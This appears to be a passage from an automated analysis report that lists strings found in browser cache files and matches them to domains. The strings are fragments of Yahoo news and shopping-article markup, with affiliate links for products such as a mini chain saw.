caption-aligned-with-image\"><figcaption class=caption-collapse>Even A-listers love affordable beauty products! (Michael Kovac/Getty Images for AFI)<span class=caption-credit> (Michael Kovac via Getty Images)</span></figcaption></div></figure><h2 class=caas-jump-link-heading id=what-reviewers-say- equals www.yahoo.com (Yahoo)
Source: chromecache_430.3.dr	String found in binary or memory: net in Chile. Take a look","tpConsent":true,"type":"story","url":"https://www.yahoo.com/news/ocean-predator-missing-since-1800s-183500811.html","uuid":"55689e67-d5f8-30ea-8394-04902959b16f","videoPosition":"","wikiids":"Angelshark,Artisanal_fishing,Chile,Shark","xrayMeta":[],"ycts":"001000643,001000638,001000637,001000644,001000742","hasYahooVideo":false,"commentSectionId":5668142,"homepageUrl":"https://www.yahoo.com/news/ocean-predator-missing-since-1800s-183500811.html","VUID":"ER5Bl1VT9RXYrnSTDMp1tg"}},"modules":{},"markup":"<div class=\"caas caas-cc frontpage caas-no-cover enableEVPlayer enableOverrideSpaceId contentFeedbackEnabled enableAdFeedbackV2 enableInArticleAd enableOpinionLabel enableSingleSlotting enableVideoDocking outStream showCommentsIconWithDynamicCount enableStickyAds showCommentsIconInShareSec enableAdSlotsNewMap enableGAMAds enableGAMAdsOnLoad enableFinancePremiumTicker enableAdLiteUpSellFeedback enableCommentsCountInViewCommentsCta enableRRAdsSlots enableRRAdsSlotsWithJAC newsModal enableViewCommentsCTA\" data-assets=[] data-device=desktop data-i18n='{\"{date} at {time}\":\"{date} at {time}\",\"{0} hr ago\":\"{0} hr ago\",\"{0} min ago\":\"{0} min ago\",\"{0} mins ago\":\"{0} mins ago\",\"{0} Views\":\"{0} Views\",\"INLINE_CONSENT_BLOCKED_3P_BUTTON_ALLOW\":\"Allow\",\"LESS\":\"Less\",\"LIVE_IS_OVER\":\"LIVE COVERAGE IS OVER\",\"LOADING\":\"Loading\",\"MORE\":\"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now\",\"RELOAD\":\"Click to reload with latest update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show more updates\",\"TODAY\":\"Today\",\"TRY_AGAIN\":\"Something went wrong. Try again\",\"UPDATE\":\"update\",\"UPDATES\":\"updates\",\"VIDEO_A11Y_DISABLE_FULLSCREEN\":\"Full Screen, button, disabled, temporarily not available for screen reader users\"}' data-lang=en-US data-tz=America/New_York data-params='{\"features\":{\"enableEVPlayer\":true,\"enableOverrideSpaceId\":true,\"contentFeedbackEnabled\":true,\"enableAdFeedbackV2\":true,\"enableInArticleAd\":true,\"enableOpinionLabel\":true,\"enableSingleSlotting\":true,\"enableVideoDocking\":true,\"outStream\":true,\"showCommentsIconWithDynamicCount\":true,\"enableStickyAds\":true,\"showCommentsIconInShareSec\":true,\"enableAdSlotsNewMap\":true,\"enableGAMAds\":true,\"enableGAMAdsOnLoad\":true,\"enableFinancePremiumTicker\":true,\"enableAdLiteUpSellFeedback\":true,\"enableCommentsCountInViewCommentsCta\":true,\"enableRRAdsSlots\":true,\"enableRRAdsSlotsWithJAC\":true,\"newsModal\":true,\"enableViewCommentsCTA\":true},\"config\":{\"authorBylineCollapseLineCount\":2,\"commerceQuickOverviewLimit\":5,\"freezeOnLinkClick\":true,\"lazyOffsetY\":1300,\"livecoverage\":{\"defer\":false},\"imageCaptionCollapseLineCount\":3,\"slideshowCaptionCollapseLineCount\":2,\"uiShowPreviousButtonOnLoad\":true,\"prestigeScrollMarginTop\":-72}}' data-space-id=1197792446 id=caas-art-55689e67-d5f8-3
Source: chromecache_671.3.dr	String found in binary or memory: net in Chile. Take a look","tpConsent":true,"type":"story","url":"https://www.yahoo.com/news/ocean-predator-missing-since-1800s-183500811.html","uuid":"55689e67-d5f8-30ea-8394-04902959b16f","videoPosition":"","wikiids":"Angelshark,Artisanal_fishing,Chile,Shark","xrayMeta":[],"ycts":"001000643,001000638,001000637,001000644,001000742","hasYahooVideo":false,"commentSectionId":5668142,"homepageUrl":"https://www.yahoo.com/news/ocean-predator-missing-since-1800s-183500811.html","VUID":"gFQYgfTpAzhWepwbGdgJhQ"}},"modules":{},"markup":"<div class=\"caas caas-cc frontpage caas-no-cover enableEVPlayer enableOverrideSpaceId contentFeedbackEnabled enableAdFeedbackV2 enableInArticleAd enableOpinionLabel enableSingleSlotting enableVideoDocking outStream showCommentsIconWithDynamicCount enableStickyAds showCommentsIconInShareSec enableAdSlotsNewMap enableGAMAds enableGAMAdsOnLoad enableFinancePremiumTicker enableAdLiteUpSellFeedback enableCommentsCountInViewCommentsCta enableRRAdsSlots enableRRAdsSlotsWithJAC newsModal enableViewCommentsCTA\" data-assets=[] data-device=desktop data-i18n='{\"{date} at {time}\":\"{date} at {time}\",\"{0} hr ago\":\"{0} hr ago\",\"{0} min ago\":\"{0} min ago\",\"{0} mins ago\":\"{0} mins ago\",\"{0} Views\":\"{0} Views\",\"INLINE_CONSENT_BLOCKED_3P_BUTTON_ALLOW\":\"Allow\",\"LESS\":\"Less\",\"LIVE_IS_OVER\":\"LIVE COVERAGE IS OVER\",\"LOADING\":\"Loading\",\"MORE\":\"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now\",\"RELOAD\":\"Click to reload with latest update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show more updates\",\"TODAY\":\"Today\",\"TRY_AGAIN\":\"Something went wrong. Try again\",\"UPDATE\":\"update\",\"UPDATES\":\"updates\",\"VIDEO_A11Y_DISABLE_FULLSCREEN\":\"Full Screen, button, disabled, temporarily not available for screen reader users\"}' data-lang=en-US data-tz=America/New_York data-params='{\"features\":{\"enableEVPlayer\":true,\"enableOverrideSpaceId\":true,\"contentFeedbackEnabled\":true,\"enableAdFeedbackV2\":true,\"enableInArticleAd\":true,\"enableOpinionLabel\":true,\"enableSingleSlotting\":true,\"enableVideoDocking\":true,\"outStream\":true,\"showCommentsIconWithDynamicCount\":true,\"enableStickyAds\":true,\"showCommentsIconInShareSec\":true,\"enableAdSlotsNewMap\":true,\"enableGAMAds\":true,\"enableGAMAdsOnLoad\":true,\"enableFinancePremiumTicker\":true,\"enableAdLiteUpSellFeedback\":true,\"enableCommentsCountInViewCommentsCta\":true,\"enableRRAdsSlots\":true,\"enableRRAdsSlotsWithJAC\":true,\"newsModal\":true,\"enableViewCommentsCTA\":true},\"config\":{\"authorBylineCollapseLineCount\":2,\"commerceQuickOverviewLimit\":5,\"freezeOnLinkClick\":true,\"lazyOffsetY\":1300,\"livecoverage\":{\"defer\":false},\"imageCaptionCollapseLineCount\":3,\"slideshowCaptionCollapseLineCount\":2,\"uiShowPreviousButtonOnLoad\":true,\"prestigeScrollMarginTop\":-72}}' data-space-id=1197792446 id=caas-art-55689e67-d5f8-3
Source: chromecache_430.3.dr, chromecache_671.3.dr	String found in binary or memory: said New Mexico State Police <a href=\"https://www.facebook.com/NMStatePolice/posts/pfbid0hzJfcBoYJctTJv8JeJcoYfVybB9gduaKAhzBGjv9kHcxuiRYruTNiDWpsisyFxiHl?__cft__[0]=AZWBbD3GoJc2h2uy_3pDJUfXywphzvROEFPjLA7Y4ynVs_aIs00ccRdG7EbX7o1Jp9xiSNVkUMbXPt6-DO28-FIfNXmJxLB_eBUPsVzhHizyw_w1OUuVagd0Mfhxj3IIWaPpxBqwnnAK16F9hcVjWizfGlgwvsh8XX_Hpes0XuDBXRinbM0L4L_m9gZtxdMJeD3vuE2n7vIBVtYlfWTaNHfz&__tn__=%2CO%2CP-R\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:on Facebook;elm:context_link;itc:0;sec:content-canvas\" class=\"link rapid-noclick-resp\">on Facebook</a>.</p><p>A team of National Transportation Safety Board investigators is expected to arrive later Saturday. Once on site, their investigators will start documenting the scene and examining the train and equipment involved in the derailment, the NTSB said.</p><p>BNSF said air monitoring and fire suppression assessments are ongoing at the site.</p><p>No injuries have been reported. BNSF says it is currently working with the residents displaced by the evacuations and will provide necessary lodging and accommodations.</p><p> equals www.facebook.com (Facebook)
Source: chromecache_365.3.dr, chromecache_545.3.dr	String found in binary or memory: specifically, these<a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:3;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL0hhbmVzLU85MjY0LVdvbWVucy1KZXJzZXktU2hvcnQvZHAvQjAxNllLSzdDQT90YWc9eWxlMDEtcC1vLWhzMS0yMCIsImNvbnRlbnRVdWlkIjoiOGVmOGJkNTktYzBmOS00OThmLWI5ZDMtOWI3ZDU4NDk3YTQ4In0&signature=AQAAASQsOxvPp4-ioaALmTm-T1DSvq44ZhWYAAWUl8xGUI94&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FHanes-O9264-Womens-Jersey-Short%2Fdp%2FB016YKK7CA\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:pocketed cuties from Hanes;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:3;pos:1;itc:0;sec:content-canvas\"> pocketed cuties from Hanes</a> for just $8. The deals are blossoming equals www.yahoo.com (Yahoo)
Source: chromecache_545.3.dr	String found in binary or memory: the hard part will be deciding on a color. It's currently available in 20 colors, including electric blue, lavender and turquoise. It also comes in sophisticated neutrals like soft pink, pale gray and a nude-like peach. That said, <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:4;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2RwL0IwODFZR0RIUUMvP3RhZz15bGUwMS1wLW8taDEwLTIwIiwiY29udGVudFV1aWQiOiIyYzE2M2JmZS0wNDc5LTQ5ODYtYTYyYy0zZjEzMzc3NjZmYWYifQ&signature=AQAAAbdPw9ycHFzIRljKQnY2oFWYXEgPf_VyghY4oNMGhEtA&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fdp%2FB081YGDHQC%2F\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:classic black is currently marked down the most;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:4;pos:1;itc:0;sec:content-canvas\">classic black is currently marked down the most</a>, with <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:5;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2RwL0IwODFZRzhUN1MvP3RhZz15bGUwMS1wLW8taDEwLTIwIiwiY29udGVudFV1aWQiOiIyYzE2M2JmZS0wNDc5LTQ5ODYtYTYyYy0zZjEzMzc3NjZmYWYifQ&signature=AQAAAVVxAtdtu6sprtWeaB8QXF1YV2CNyyicM4TmOoOYFYd1&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fdp%2FB081YG8T7S%2F\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:versatile white;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:5;pos:1;itc:0;sec:content-canvas\">versatile white</a> a close second. So whether you like a toned-down or punched-up wardrobe, there equals www.yahoo.com (Yahoo)
Source: chromecache_671.3.dr	String found in binary or memory: who killed 3 men in 1977 is granted parole","tpConsent":true,"type":"story","url":"https://www.yahoo.com/news/apology-47-years-making-orleans-145420368.html","uuid":"dde82b60-8c41-344d-a437-7422cb916f0b","videoPosition":"","wikiids":"Louisiana_State_Penitentiary,Warren_Harris_%28serial_killer%29,Louisiana,Serial_killer,Life_imprisonment,Probation,United_States_v._Miller,Criminal_justice,Cruel_and_unusual_punishment","xrayMeta":[],"ycts":"001000780,001000667","hasYahooVideo":false,"commentSectionId":5668142,"homepageUrl":"https://www.yahoo.com/news/apology-47-years-making-orleans-145420368.html","VUID":"L8diibfm5GmanWkdjTZS1w"}},"modules":{},"markup":"<div class=\"caas caas-cc frontpage enableEVPlayer enableOverrideSpaceId contentFeedbackEnabled enableAdFeedbackV2 enableInArticleAd enableOpinionLabel enableSingleSlotting enableVideoDocking outStream showCommentsIconWithDynamicCount enableStickyAds showCommentsIconInShareSec enableAdSlotsNewMap enableGAMAds enableGAMAdsOnLoad enableFinancePremiumTicker enableAdLiteUpSellFeedback enableCommentsCountInViewCommentsCta enableRRAdsSlots enableRRAdsSlotsWithJAC newsModal enableViewCommentsCTA\" data-assets=[] data-device=desktop data-i18n='{\"{date} at {time}\":\"{date} at {time}\",\"{0} hr ago\":\"{0} hr ago\",\"{0} min ago\":\"{0} min ago\",\"{0} mins ago\":\"{0} mins ago\",\"{0} Views\":\"{0} Views\",\"INLINE_CONSENT_BLOCKED_3P_BUTTON_ALLOW\":\"Allow\",\"LESS\":\"Less\",\"LIVE_IS_OVER\":\"LIVE COVERAGE IS OVER\",\"LOADING\":\"Loading\",\"MORE\":\"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now\",\"RELOAD\":\"Click to reload with latest update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show more updates\",\"TODAY\":\"Today\",\"TRY_AGAIN\":\"Something went wrong. Try again\",\"UPDATE\":\"update\",\"UPDATES\":\"updates\",\"VIDEO_A11Y_DISABLE_FULLSCREEN\":\"Full Screen, button, disabled, temporarily not available for screen reader users\"}' data-lang=en-US data-tz=America/New_York data-params='{\"features\":{\"enableEVPlayer\":true,\"enableOverrideSpaceId\":true,\"contentFeedbackEnabled\":true,\"enableAdFeedbackV2\":true,\"enableInArticleAd\":true,\"enableOpinionLabel\":true,\"enableSingleSlotting\":true,\"enableVideoDocking\":true,\"outStream\":true,\"showCommentsIconWithDynamicCount\":true,\"enableStickyAds\":true,\"showCommentsIconInShareSec\":true,\"enableAdSlotsNewMap\":true,\"enableGAMAds\":true,\"enableGAMAdsOnLoad\":true,\"enableFinancePremiumTicker\":true,\"enableAdLiteUpSellFeedback\":true,\"enableCommentsCountInViewCommentsCta\":true,\"enableRRAdsSlots\":true,\"enableRRAdsSlotsWithJAC\":true,\"newsModal\":true,\"enableViewCommentsCTA\":true},\"config\":{\"authorBylineCollapseLineCount\":2,\"commerceQuickOverviewLimit\":5,\"freezeOnLinkClick\":true,\"lazyOffsetY\":1300,\"livecoverage\":{\"defer\":false},\"imageCaptionCollapseLineCount\":3,\"slideshowCaptionCollapseLineCount\":2,\"uiShowPrev
Source: chromecache_430.3.dr	String found in binary or memory: who killed 3 men in 1977 is granted parole","tpConsent":true,"type":"story","url":"https://www.yahoo.com/news/apology-47-years-making-orleans-145420368.html","uuid":"dde82b60-8c41-344d-a437-7422cb916f0b","videoPosition":"","wikiids":"Louisiana_State_Penitentiary,Warren_Harris_%28serial_killer%29,Louisiana,Serial_killer,Life_imprisonment,Probation,United_States_v._Miller,Criminal_justice,Cruel_and_unusual_punishment","xrayMeta":[],"ycts":"001000780,001000667","hasYahooVideo":false,"commentSectionId":5668142,"homepageUrl":"https://www.yahoo.com/news/apology-47-years-making-orleans-145420368.html","VUID":"doylK1Yy1RWwRGfz22Ndvw"}},"modules":{},"markup":"<div class=\"caas caas-cc frontpage enableEVPlayer enableOverrideSpaceId contentFeedbackEnabled enableAdFeedbackV2 enableInArticleAd enableOpinionLabel enableSingleSlotting enableVideoDocking outStream showCommentsIconWithDynamicCount enableStickyAds showCommentsIconInShareSec enableAdSlotsNewMap enableGAMAds enableGAMAdsOnLoad enableFinancePremiumTicker enableAdLiteUpSellFeedback enableCommentsCountInViewCommentsCta enableRRAdsSlots enableRRAdsSlotsWithJAC newsModal enableViewCommentsCTA\" data-assets=[] data-device=desktop data-i18n='{\"{date} at {time}\":\"{date} at {time}\",\"{0} hr ago\":\"{0} hr ago\",\"{0} min ago\":\"{0} min ago\",\"{0} mins ago\":\"{0} mins ago\",\"{0} Views\":\"{0} Views\",\"INLINE_CONSENT_BLOCKED_3P_BUTTON_ALLOW\":\"Allow\",\"LESS\":\"Less\",\"LIVE_IS_OVER\":\"LIVE COVERAGE IS OVER\",\"LOADING\":\"Loading\",\"MORE\":\"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now\",\"RELOAD\":\"Click to reload with latest update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show more updates\",\"TODAY\":\"Today\",\"TRY_AGAIN\":\"Something went wrong. Try again\",\"UPDATE\":\"update\",\"UPDATES\":\"updates\",\"VIDEO_A11Y_DISABLE_FULLSCREEN\":\"Full Screen, button, disabled, temporarily not available for screen reader users\"}' data-lang=en-US data-tz=America/New_York data-params='{\"features\":{\"enableEVPlayer\":true,\"enableOverrideSpaceId\":true,\"contentFeedbackEnabled\":true,\"enableAdFeedbackV2\":true,\"enableInArticleAd\":true,\"enableOpinionLabel\":true,\"enableSingleSlotting\":true,\"enableVideoDocking\":true,\"outStream\":true,\"showCommentsIconWithDynamicCount\":true,\"enableStickyAds\":true,\"showCommentsIconInShareSec\":true,\"enableAdSlotsNewMap\":true,\"enableGAMAds\":true,\"enableGAMAdsOnLoad\":true,\"enableFinancePremiumTicker\":true,\"enableAdLiteUpSellFeedback\":true,\"enableCommentsCountInViewCommentsCta\":true,\"enableRRAdsSlots\":true,\"enableRRAdsSlotsWithJAC\":true,\"newsModal\":true,\"enableViewCommentsCTA\":true},\"config\":{\"authorBylineCollapseLineCount\":2,\"commerceQuickOverviewLimit\":5,\"freezeOnLinkClick\":true,\"lazyOffsetY\":1300,\"livecoverage\":{\"defer\":false},\"imageCaptionCollapseLineCount\":3,\"slideshowCaptionCollapseLineCount\":2,\"uiShowPrev
Source: chromecache_606.3.dr	String found in binary or memory: ","tpConsent":true,"type":"story","url":"https://www.yahoo.com/news/kittens-found-near-arizona-shed-175722005.html","uuid":"d098fa67-1f57-32a9-a8c8-0b53747f9c8c","videoPosition":"","wikiids":"Baby_Animals,Arizona,Humane_Society_of_the_United_States","xrayMeta":[],"ycts":"001000643","hasYahooVideo":false,"commentSectionId":5668142,"homepageUrl":"https://www.yahoo.com/news/kittens-found-near-arizona-shed-175722005.html","VUID":"XgBS85PR63NbcyjGgx5kxQ"}},"modules":{},"markup":"<div class=\"caas caas-cc frontpage caas-no-cover enableEVPlayer enableOverrideSpaceId contentFeedbackEnabled enableAdFeedbackV2 enableInArticleAd enableOpinionLabel enableSingleSlotting enableVideoDocking outStream showCommentsIconWithDynamicCount enableStickyAds showCommentsIconInShareSec enableAdSlotsNewMap enableGAMAds enableGAMAdsOnLoad enableFinancePremiumTicker enableAdLiteUpSellFeedback enableCommentsCountInViewCommentsCta enableRRAdsSlots enableRRAdsSlotsWithJAC newsModal enableViewCommentsCTA\" data-assets=[] data-device=desktop data-i18n='{\"{date} at {time}\":\"{date} at {time}\",\"{0} hr ago\":\"{0} hr ago\",\"{0} min ago\":\"{0} min ago\",\"{0} mins ago\":\"{0} mins ago\",\"{0} Views\":\"{0} Views\",\"INLINE_CONSENT_BLOCKED_3P_BUTTON_ALLOW\":\"Allow\",\"LESS\":\"Less\",\"LIVE_IS_OVER\":\"LIVE COVERAGE IS OVER\",\"LOADING\":\"Loading\",\"MORE\":\"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now\",\"RELOAD\":\"Click to reload with latest update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show more updates\",\"TODAY\":\"Today\",\"TRY_AGAIN\":\"Something went wrong. Try again\",\"UPDATE\":\"update\",\"UPDATES\":\"updates\",\"VIDEO_A11Y_DISABLE_FULLSCREEN\":\"Full Screen, button, disabled, temporarily not available for screen reader users\"}' data-lang=en-US data-tz=America/New_York data-params='{\"features\":{\"enableEVPlayer\":true,\"enableOverrideSpaceId\":true,\"contentFeedbackEnabled\":true,\"enableAdFeedbackV2\":true,\"enableInArticleAd\":true,\"enableOpinionLabel\":true,\"enableSingleSlotting\":true,\"enableVideoDocking\":true,\"outStream\":true,\"showCommentsIconWithDynamicCount\":true,\"enableStickyAds\":true,\"showCommentsIconInShareSec\":true,\"enableAdSlotsNewMap\":true,\"enableGAMAds\":true,\"enableGAMAdsOnLoad\":true,\"enableFinancePremiumTicker\":true,\"enableAdLiteUpSellFeedback\":true,\"enableCommentsCountInViewCommentsCta\":true,\"enableRRAdsSlots\":true,\"enableRRAdsSlotsWithJAC\":true,\"newsModal\":true,\"enableViewCommentsCTA\":true},\"config\":{\"authorBylineCollapseLineCount\":2,\"commerceQuickOverviewLimit\":5,\"freezeOnLinkClick\":true,\"lazyOffsetY\":1300,\"livecoverage\":{\"defer\":false},\"imageCaptionCollapseLineCount\":3,\"slideshowCaptionCollapseLineCount\":2,\"uiShowPreviousButtonOnLoad\":true,\"prestigeScrollMarginTop\":-72}}' data-space-id=1197792446 id=caas-art-d098fa67-1f57-32a9-a8c8-0b53747f9c8c><article tabindex=-1 class=caas-co
Source: chromecache_247.3.dr	String found in binary or memory: ","tpConsent":true,"type":"story","url":"https://www.yahoo.com/news/kittens-found-near-arizona-shed-175722005.html","uuid":"d098fa67-1f57-32a9-a8c8-0b53747f9c8c","videoPosition":"","wikiids":"Baby_Animals,Arizona,Humane_Society_of_the_United_States","xrayMeta":[],"ycts":"001000643","hasYahooVideo":false,"commentSectionId":5668142,"homepageUrl":"https://www.yahoo.com/news/kittens-found-near-arizona-shed-175722005.html","VUID":"vDcOV82d9-HMzmOO5pRrYQ"}},"modules":{},"markup":"<div class=\"caas caas-cc frontpage caas-no-cover enableEVPlayer enableOverrideSpaceId contentFeedbackEnabled enableAdFeedbackV2 enableInArticleAd enableOpinionLabel enableSingleSlotting enableVideoDocking outStream showCommentsIconWithDynamicCount enableStickyAds showCommentsIconInShareSec enableAdSlotsNewMap enableGAMAds enableGAMAdsOnLoad enableFinancePremiumTicker enableAdLiteUpSellFeedback enableCommentsCountInViewCommentsCta enableRRAdsSlots enableRRAdsSlotsWithJAC newsModal enableViewCommentsCTA\" data-assets=[] data-device=desktop data-i18n='{\"{date} at {time}\":\"{date} at {time}\",\"{0} hr ago\":\"{0} hr ago\",\"{0} min ago\":\"{0} min ago\",\"{0} mins ago\":\"{0} mins ago\",\"{0} Views\":\"{0} Views\",\"INLINE_CONSENT_BLOCKED_3P_BUTTON_ALLOW\":\"Allow\",\"LESS\":\"Less\",\"LIVE_IS_OVER\":\"LIVE COVERAGE IS OVER\",\"LOADING\":\"Loading\",\"MORE\":\"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now\",\"RELOAD\":\"Click to reload with latest update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show more updates\",\"TODAY\":\"Today\",\"TRY_AGAIN\":\"Something went wrong. Try again\",\"UPDATE\":\"update\",\"UPDATES\":\"updates\",\"VIDEO_A11Y_DISABLE_FULLSCREEN\":\"Full Screen, button, disabled, temporarily not available for screen reader users\"}' data-lang=en-US data-tz=America/New_York data-params='{\"features\":{\"enableEVPlayer\":true,\"enableOverrideSpaceId\":true,\"contentFeedbackEnabled\":true,\"enableAdFeedbackV2\":true,\"enableInArticleAd\":true,\"enableOpinionLabel\":true,\"enableSingleSlotting\":true,\"enableVideoDocking\":true,\"outStream\":true,\"showCommentsIconWithDynamicCount\":true,\"enableStickyAds\":true,\"showCommentsIconInShareSec\":true,\"enableAdSlotsNewMap\":true,\"enableGAMAds\":true,\"enableGAMAdsOnLoad\":true,\"enableFinancePremiumTicker\":true,\"enableAdLiteUpSellFeedback\":true,\"enableCommentsCountInViewCommentsCta\":true,\"enableRRAdsSlots\":true,\"enableRRAdsSlotsWithJAC\":true,\"newsModal\":true,\"enableViewCommentsCTA\":true},\"config\":{\"authorBylineCollapseLineCount\":2,\"commerceQuickOverviewLimit\":5,\"freezeOnLinkClick\":true,\"lazyOffsetY\":1300,\"livecoverage\":{\"defer\":false},\"imageCaptionCollapseLineCount\":3,\"slideshowCaptionCollapseLineCount\":2,\"uiShowPreviousButtonOnLoad\":true,\"prestigeScrollMarginTop\":-72}}' data-space-id=1197792446 id=caas-art-d098fa67-1f57-32a9-a8c8-0b53747f9c8c><article tabindex=-1 class=caas-co
Source: chromecache_545.3.dr	String found in binary or memory: </h2><p>If you have trees in your yard, they probably need a bit of pruning. Certain varieties even require it to stay healthy throughout the year. Compared with a pair of traditional pruning shears, this little chain saw makes the job practically effortless.</p><p>This chain saw is only 4 inches long. There's a safety lock that has to be pressed before the saw activates, and it comes with a handy carrying case, so you can safely store the device when it's not in use. The battery is a 20-volt, 1500mAh rechargeable. It can still get bogged down when cutting particularly thick branches, but it's sufficient for most jobs.</p><figure class=caas-figure><div class=caas-figure-with-pb style=\"max-height: 643px\"><div><div class=\"caas-img-container caas-img-lightbox caas-img-loader\" style=padding-bottom:67% data-lightbox-src=https://s.yimg.com/ny/api/res/1.2/OoOuQxAcGt9m08zoj.PDbA--/YXBwaWQ9aGlnaGxhbmRlcjt3PTI0MDA7aD0xNjA2/https://s.yimg.com/os/creatr-uploaded-images/2024-01/bedd8160-ab13-11ee-bbab-76c907c64d8d><a class=\"link rapid-noclick-resp\" href=https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL1Nha2VyLUNoYWluc2F3LVBvcnRhYmxlLUNvdXJ0eWFyZC0yMFZCYXR0ZXJpZXMvZHAvQjA5NDdYTFdGVz90YWc9eWxlMDEtcC1vLWhwbC0yMCIsImNvbnRlbnRVdWlkIjoiN2M5MzU0M2EtY2U5ZC00ZDYyLWI2YzUtYTRhY2JhYTUxYmQ3In0&signature=AQAAAX8fWmKqHNwmBtCc2H5ZX3yqie2WvkyATr0Vy2DLMyQ4&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FSaker-Chainsaw-Portable-Courtyard-20VBatteries%2Fdp%2FB0947XLWFW data-ylk><img class=\"caas-img caas-lazy\" alt=\"Saker mini chain saw\" data-src=https://s.yimg.com/ny/api/res/1.2/6TxsUd3WQjVTMdz9sjYoYw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTY0Mw--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/bedd8160-ab13-11ee-bbab-76c907c64d8d><noscript><img alt=\"Saker mini chain saw\" src=https://s.yimg.com/ny/api/res/1.2/6TxsUd3WQjVTMdz9sjYoYw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTY0Mw--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/bedd8160-ab13-11ee-bbab-76c907c64d8d class=caas-img></noscript></a></div></div></div><div class=\"caption-wrapper caption-aligned-with-image\"><figcaption class=caption-collapse>Axe yourself: Wouldn't it be nice to branch out to a new world of (literally) handy power tools with this chain saw? (Amazon)<span class=caption-credit> (Amazon)</span></figcaption></div></figure><h2 class=caas-jump-link-heading id=what-reviewers-say- equals www.yahoo.com (Yahoo)
Source: chromecache_365.3.dr	String found in binary or memory: </h2><p>If you have trees in your yard, they probably need a bit of pruning. Certain varieties even require it to stay healthy throughout the year. Compared with a pair of traditional pruning shears, this little chain saw makes the job practically effortless.</p><p>This chain saw is only 4 inches long. There's a safety lock that has to be pressed before the saw activates, and it comes with a handy carrying case, so you can safely store the device when it's not in use. The battery is a 20-volt, 1500mAh rechargeable. It can still get bogged down when cutting particularly thick branches, but it's sufficient for most jobs.</p><figure class=caas-figure><div class=caas-figure-with-pb style=\"max-height: 643px\"><div><div class=\"caas-img-container caas-img-lightbox caas-img-loader\" style=padding-bottom:67% data-lightbox-src=https://s.yimg.com/ny/api/res/1.2/QAp52S3FH6YD9ZrObO5IaQ--/YXBwaWQ9aGlnaGxhbmRlcjt3PTI0MDA7aD0xNjA2O2NmPXdlYnA-/https://s.yimg.com/os/creatr-uploaded-images/2024-01/bedd8160-ab13-11ee-bbab-76c907c64d8d><a class=\"link rapid-noclick-resp\" 